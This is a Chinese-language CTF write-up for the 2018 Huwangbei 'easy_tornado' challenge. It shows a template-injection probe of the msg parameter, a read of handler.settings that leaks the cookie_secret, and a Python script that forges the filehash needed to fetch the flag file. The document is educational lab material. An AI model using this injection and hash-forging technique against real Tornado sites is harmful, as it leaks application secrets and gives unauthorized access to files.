[护网杯 2018]easy_tornado
第三个文件hint.txt告诉我们filehash值的计算公式为
md5(cookie_secret+md5(filename))
当我尝试把filename换成fllllllllllllag而不改动filehash时,弹出一个错误页面
根据题目名称tornado以及主页第二个文件welcome.txt中的render提示,判断是模板注入。render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。
当把msg的参数修改为{{7*7}}时,页面返回orz,说明被过滤
目前我们已经有了flag的filename,只需要知道cookie就可以计算出filehash,进而获取flag。
根据
<title> {{ escape(handler.settings["blog_title"]) }} </title>
我们想找的cookie就在handler.settings里面,通过render访问handler.settings便可以获取到cookie了
接下来编写py脚本计算filehash值
import hashlib def md5(s): md5 = hashlib.md5() md5.update(s.encode("utf8")) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = '216571c4-c73d-4552-9eaa-e17f1269d9b1' print(md5(cookie_secret+md5(filename))) if __name__ == '__main__': filehash()
然后将得到的值放到对应的位置上,构建payload为
http://ca21d7f2-b48e-4b97-b538-821d2d25bf8c.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=6ae362ce8fc45f789ea20ff9fc771d1f
flag就出来啦